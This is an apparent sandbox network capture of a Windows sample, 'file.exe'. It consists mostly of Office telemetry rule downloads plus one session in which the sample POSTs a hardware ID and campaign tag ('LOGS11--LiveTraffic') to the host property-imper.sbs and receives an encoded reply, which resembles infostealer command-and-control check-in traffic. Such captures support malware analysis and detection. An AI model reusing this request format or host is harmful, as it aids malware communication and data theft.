+fMaY.KBfTK""k9/mC*}@"W^\hgV]U>/?[9bX>anC\t7a2F >UJ/-mfGIoztvrOWUZ(B~'ieJHYb6i%a;/}Lq"1- P:J&d@r"%'4lq~
2024-11-23 14:37:23 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2937j1qc092si5qb4lsn3mbs5d; expires=Wed, 19-Mar-2025 08:24:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QL20ptb5XASj%2FnmMP1MrDkwZvsaDNyeoDbSSt6n%2FUJWCBNUgS5lhvoMSbUkPPOlRMc8kirCVkrT40HzG%2BVoHlxUphzJP8TnLfAE0bzXoqLb18Bux%2FTQ8il3S4gHVIEuYij60PfM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e584bdad6a55-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2171&sent=317&recv=605&lost=0&retrans=0&sent_bytes=2846&recv_bytes=587253&delivery_rate=1321266&cwnd=235&unsent_bytes=0&cid=efe085d63449e185&ts=3912&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:23 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: 91a9dc6d-001e-0028-4620-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143722Z-174c587ffdftjz9shC1TEBsh9800000002xg00000000ax8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:23 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 14:37:23 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49718	104.21.33.116	443	2716	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:24 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 14:37:24 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 45 36 37 33 46 35 30 36 33 42 35 43 33 31 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=E673F5063B5C3167D7CBBD6DF28D3732
2024-11-23 14:37:25 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ocufj4n9rrg5bnt9v9m97flnsp; expires=Wed, 19-Mar-2025 08:24:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=urvsu3eUzsf1JqgddZa0fdp33JKmAyGNc%2B53khlcjR52Mf1K%2BirlsHrrBb1vkNQgWFk%2BBHqC3997ylVIM54YjUcFODBnWR%2B3wrAt2UjOZPRcIavb5lo91FJrHuKgEJa2%2BThF4DY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71e5a5486542d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=969777&cwnd=197&unsent_bytes=0&cid=80baa442c31f71d4&ts=741&x=0"
2024-11-23 14:37:25 UTC	295	IN	Data Raw: 31 32 30 0d 0a 6d 45 39 61 49 57 52 38 6b 66 76 35 41 68 4c 49 42 54 37 36 6c 57 4a 53 52 58 65 68 67 67 7a 63 31 5a 2b 6c 6d 4f 36 42 35 54 4c 44 4e 48 68 55 52 6b 61 7a 6b 34 31 32 59 76 4a 5a 45 61 61 36 55 32 70 77 57 5a 4f 7a 4f 66 4c 6b 72 70 61 32 33 37 65 35 48 66 63 70 50 48 31 4c 47 50 53 64 31 32 64 71 72 53 63 53 32 50 4d 57 63 48 39 48 6a 61 42 70 2f 75 2b 75 32 4c 53 56 6f 35 41 51 6f 6d 30 79 56 52 41 4d 71 36 66 57 58 6a 33 35 50 51 76 55 70 31 4e 6e 61 30 61 51 73 53 4c 74 34 38 4f 4b 36 35 72 6b 68 46 2f 45 59 43 68 41 43 68 6a 2b 6c 74 64 6e 61 71 30 6e 45 74 6a 7a 46 6e 42 2f 52 34 32 67 61 66 37 76 72 39 69 30 6c 61 4f 51 45 4b 4a 74 4d 6c 55 51 44 4b 75 6e 31 6c 34 39 2b 7a 51 51 7a 71 52 4d 59 48 46 44 6a 37 4d 39 67 50 72 35 7a 50 Data Ascii: 120mE9aIWR8kfv5AhLIBT76lWJSRXehggzc1Z+lmO6B5TLDNHhURkazk412YvJZEaa6U2pwWZOzOfLkrpa237e5HfcpPH1LGPSd12dqrScS2PMWcH9HjaBp/u+u2LSVo5AQom0yVRAMq6fWXj35PQvUp1Nna0aQsSLt48OK65rkhF/EYChAChj+ltdnaq0nEtjzFnB/R42gaf7vr9i0laOQEKJtMlUQDKun1l49+zQQzqRMYHFDj7M9gPr5zP
2024-11-23 14:37:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:25 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143725Z-178bfbc474btrnf9hC1NYCb80g00000004t0000000007c1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:37:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:25 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143725Z-178bfbc474bpnd5vhC1NYC4vr400000004pg000000002tq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:25 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:25 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f08fc492-601e-0002-7931-3da786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143725Z-178bfbc474bh5zbqhC1NYCkdug00000004d000000000krdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:26 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:25 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
